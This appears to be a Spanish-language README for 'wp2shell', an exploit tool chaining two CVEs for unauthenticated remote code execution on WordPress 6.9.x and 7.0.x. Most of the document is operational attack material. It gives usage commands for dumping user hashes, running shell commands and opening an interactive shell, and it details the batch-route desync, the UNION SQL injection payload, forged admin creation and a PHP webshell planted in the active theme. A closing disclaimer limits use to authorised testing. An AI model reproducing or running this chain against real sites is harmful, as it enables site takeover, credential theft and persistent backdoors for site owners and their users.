
CVE-2026-63030 / wp2shell
Cadena de explotación RCE de WordPress. Sin autenticación. CVSS 9.8.
| Rama | Vulnerable | Parcheada |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Dos CVE encadenados para lograr ejecución remota de código sin autenticación:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| Paso | CVE | Vector |
|---|---|---|
| 1 | CVE-2026-63030 | El desajuste de índices en REST /batch/v1 desincroniza la validación del despacho |
| 2 | CVE-2026-60137 | El parámetro author__not_in de WP_Query omite absint() cuando se pasa como cadena |
| 3 | — | UNION SELECT falsifica filas de wp_posts; oEmbed → customizer → wp_insert_user |
| 4 | — | Autenticarse como el administrador recién creado |
| 5 | — | El editor de temas inyecta un webshell protegido por token en el tema activo |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
El endpoint por lotes de WordPress en /?rest_route=/batch/v1 acepta un array de subpeticiones. Cuando una subpetición tiene una ruta no analizable (///), se añade un WP_Error a $validation pero no a $matches. El bucle de despacho entonces empareja la petición N con el manejador N+1 — por lo que una petición validada contra un esquema es despachada a un manejador diferente.
El exploit envía un lote anidado de 3 capas donde cada capa usa un cebador de desincronización en la posición 0 para desplazar los índices. La petición más interna — validada como un elemento de tipo post individual (GET /wp/v2/posts/999999) — aterriza en el manejador de colección (posts->get_items()). Dado que el esquema del elemento no define author_exclude, el parámetro pasa sin validar.
get_items() mapea author_exclude → author__not_in y lo pasa a WP_Query. Cuando author__not_in es una cadena (no un array), se omite el bloque array_map('absint', …). La cadena sin procesar llega directamente a:
WHERE post_author NOT IN (<payload>)
La carga útil 0) UNION ALL SELECT …-- - cierra la lista NOT IN y añade SQL arbitrario.
wp_posts de WordPress 7.0.x tiene exactamente 23 columnas. Al inyectar una fila falsificada mediante UNION ALL SELECT con orderby=none (suprime el ORDER BY final) y per_page=500 (mantiene WP_Query en modo de fila completa), el título de la entrada falsificada —que porta un marcador ||HEX||— se refleja en la respuesta REST. Todos los valores de cadena usan literales hexadecimales de MySQL (0x…) para evitar problemas de escape de comillas a través de la codificación de URL.
[embed] → WordPress crea 3 filas en oembed_cachewp_posts que formen una cadena de changeset del personalizador[embed] se renderiza, desencadenando WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) y una contraseña (Wp2!<random>)Iniciar sesión como el nuevo administrador → extraer el nonce del editor de temas → inyectar una webshell PHP protegida por token en la parte superior del functions.php del tema activo → acceder mediante ?t=<token>&c=<command>.
wp_remote_post() antes de guardar. Si el contenedor no puede alcanzarse a sí mismo por nombre de host, la edición del tema queda bloqueada. En esos casos, use --dump-users + inicio de sesión manual.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Esta herramienta es solo para investigación de seguridad autorizada y fines educativos. Úsela únicamente contra sistemas que posea o para los que tenga permiso explícito de probar. Los autores no asumen ninguna responsabilidad por el uso indebido.